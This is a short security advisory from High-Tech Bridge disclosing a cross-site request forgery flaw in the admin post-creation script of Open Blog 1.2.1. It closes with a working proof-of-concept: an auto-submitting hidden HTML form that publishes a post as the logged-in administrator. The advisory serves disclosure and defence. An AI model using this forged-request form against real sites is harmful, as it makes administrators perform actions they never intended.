Vulnerability ID: HTB22763 Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_open_blog.html Product: Open blog Vendor: K5 Storitve ( http://www.open-blog.info/ ) Vulnerable Version: 1.2.1 Vendor Notification: 15 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/admin/posts/create" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://[host]/admin/posts/create"; method="post" name="main" /> <input name="title" value="1" type="hidden" /> <input name="excerpt" value="<p>2</p>" type="hidden" /> <input name="content" value="<p>3</p>" type="hidden" /> <input name="tags" value="" type="hidden" /> <input name="publish_date" value="12/15/2010" type="hidden" /> <input name="status" value="published" type="hidden" /> <input name="allow_comments" value="1" type="hidden" /> <input name="categories[]" value="1" type="hidden" /> <input name="submit" value="Create" type="hidden" /> <input type="submit" id="btn" name="submit" value="Submit ââ"> </form> <script> document.getElementById('btn').click(); </script>
